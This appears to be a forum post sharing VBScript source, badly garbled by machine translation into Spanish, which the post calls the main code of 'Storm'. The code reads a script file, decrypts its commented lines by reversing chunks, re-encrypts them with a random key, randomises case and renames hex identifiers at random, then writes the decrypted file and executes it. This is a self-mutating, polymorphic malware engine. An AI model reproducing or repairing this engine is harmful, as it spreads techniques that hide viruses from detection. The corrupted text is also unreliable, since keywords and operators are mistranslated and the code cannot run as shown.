Foro fuente de Vbs
¿Configuración? F8b6? =?F374. open textfile("D:\VM_Shared\706545925.VBS",1)
¿Qué hacer? ¿hasta? F8b6. Atendo Stream
Ccd4? =?Trim(F8b6.Read línea)
¿Si? ¿Izquierda(Ccd4,?1)?=?"'"?entonces
C169? =?A97b(Mid(Ccd4, 2,?Len(Ccd4)?-?2),?Right(Ccd4,?1))
Hacer irregular
Afb1? =?Int(8?*?Rnd?+?2)
A4ae? =?"'"?& amp? ¿A97b(C169,?Afb1)? y amplificador? Afb1
Otro
¿A4ae? =?Ccd4
A4ae? =?Af7c(A4ae)
A4ae? =?Dd72(A4ae)
¿Fin? ¿Y si
Fa6d? =?Fa6d? y amplificador? ¿C169? y amplificador? vbCrLf
B056? =?B056? y amplificador? ¿A4ae? y amplificador? vbCrLf
C169? =?""
A4ae? =?""
¿Configuración de timbre
? F8b6? =?F374. abra el archivo de texto("D:\VM_Shared\706545925_decrypted.VBS", 2)
F8b6. ¿Escribir? Fa6d
F8b6. Cerrar
¿Configuración? ¿F374? =?¿Nada
ejecutado? Fa6d
¿Función? A97b(Ebe2,?Afb1)
¿Para qué? Eb91? =?1?¿Adónde ir? Len(Ebe2)? ¿paso? Afb1
A97b? =?A97b? +?StrReverse(Mid(Ebe2, Eb91,?Afb1))
Entonces
¿Fin? Función
¿Función? Dd72(Ebe2)
Irregularizar
¿Para qué? Eb91? =?1?¿Adónde ir? Len(Ebe2)
B2e4? =?Medio(UCase(Ebe2),?Eb91,?1)
Si? ¿Int(Rnd?*?2)? Entonces
B2e4? =?LCase(B2e4)
¿Fin? ¿Y si
Dd72? =?Dd72? y amplificador? B2e4
Entonces
¿Fin? Función
¿Función? Af7c(Ebe2)
Irregularizar
¿Para qué? Eb91? =?0?¿Adónde ir? 13
Ebe2? =?Reemplazar(UCase(Ebe2),?UCase(Hex(&HF374?+?Eb91)),?UCase(Hex(Int(Rnd?*?24000?+?40960)?+?Eb91)))
Entonces
¿Af7c? =?Ebe2
¿Fin? Función Este es el código principal de Storm. El código es muy complicado y tiene un efecto de cifrado. No lo arruines con eso.